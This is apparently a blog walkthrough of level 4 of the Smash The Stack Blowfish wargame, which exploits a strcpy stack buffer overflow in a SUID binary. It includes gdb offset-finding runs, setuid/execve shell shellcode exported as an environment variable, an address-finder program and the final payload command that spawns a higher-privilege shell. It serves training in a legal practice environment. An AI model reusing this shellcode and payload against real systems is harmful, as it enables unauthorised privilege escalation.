Blowfish Level4 – Simplest of simple buffer overflows

Welcome back for another installment from our Blowfish wargaming series, here at Technolution.  Of course, Blowfish is brought to you by the wonderful folks over at Smash The Stack.  Today we will be looking at level4.  Everyone should have the level4 pass from the previous level and should be able to ssh into the server.  Go a head and ssh in, and let’s get started.

Once there we should remember that on Blowfish, the binaries we’ll be exploiting are in the /levels directory.  Upon getting a listing of that directory we see two useful files, level4.c and the level4 SUID binary.  Lets read the source file to see what we’re working with:

level4@blowfish:/levels$ more level4.c
#include <stdio.h>

int main(int argc, char * argv[]) {

char buf[256];

if(argc == 1) {
printf(“Usage: %s input\n”, argv[0]);
exit(0);
}

strcpy(buf,argv[1]);
printf(“%s”, buf);

}

Interesting.  From looking at the source file we see unsafe use of strcpy.  From this implementation, we can overflow buf if we can control argv[1].  Lucky argv[1] is the first command line argument passed to the program, which is something we can easily control!  Looking at the size of buf we know we’ll need at least 256 bytes.  So let’s attempt a few runs of the program in gdb to see how many bytes we need to fill before we can overwrite the return address of the stack!

level4@blowfish:/levels$ gdb level4
(gdb) run `perl -e ‘print “A”x280,”BBBB”‘`
Starting program: /levels/level4 `perl -e ‘print “A”x280,”BBBB”‘`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) run `perl -e ‘print “A”x275,”BBBB”‘`

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level4 `perl -e ‘print “A”x275,”BBBB”‘`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) run `perl -e ‘print “A”x270,”BBBB”‘`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level4 `perl -e ‘print “A”x270,”BBBB”‘`

Program received signal SIGSEGV, Segmentation fault.
0x42424141 in ?? ()
(gdb) run `perl -e ‘print “A”x268,”BBBB”‘`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level4 `perl -e ‘print “A”x268,”BBBB”‘`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

There we have it, 268 bytes until we’re positioned to overwrite the return address and take control of the flow of execution.  Next we need to place shellcode in memory.  We’ll be placing our shellcode in an environmental variable called SHELLCODE.  Let’s look at the command to do this:

level4@blowfish:/levels$ export SHELLCODE=$’\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e
\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80′

Now that our shellcode is in memory, we need to get it’s starting memory address.  We will use a C program that takes an environmental variable as an argument and returns it’s starting memory location.  This program is as follows:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
if(!argv[1])
exit(1);
printf(“%#x\n”, getenv(argv[1]));
return 0;
}

Let’s compile and use the above program:

level4@blowfish:/levels$ mkdir /tmp/.somedir
level4@blowfish:/levels$ vi /tmp/.somedir/getmem.c
level4@blowfish:/levels$ gcc /tmp/.somedir/getmem.c -o /tmp/.somedir/getmem
level4@blowfish:/levels$ /tmp/.somedir/getmem SHELLCODE
0xbfffd9eb

Now that we have our starting memory location of our shellcode, we can combine it with our buffer overflow to re-route program execution:

level4@blowfish:/levels$ /levels/level4 `perl -e ‘print “A”x268,”\xef\xd9\xff\xbf”‘`
sh-3.2$ whoami
level5

Bam!  Level 4 is complete.  Again, a simple buffer overflow.  Now a days, we have to specifically compile programs to be vulnerable to this type of attack.  However, the safety mechanism implemented don’t prevent buffer overflows, they simply try to catch and respond to overflows without losing control, or allowing arbitrary code execution.  In future levels we may run into some of the prevention mechanisms, but for now, that’s all folks!

This entry was posted in Blowfish, Smash The Stack, Wargames and tagged , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published.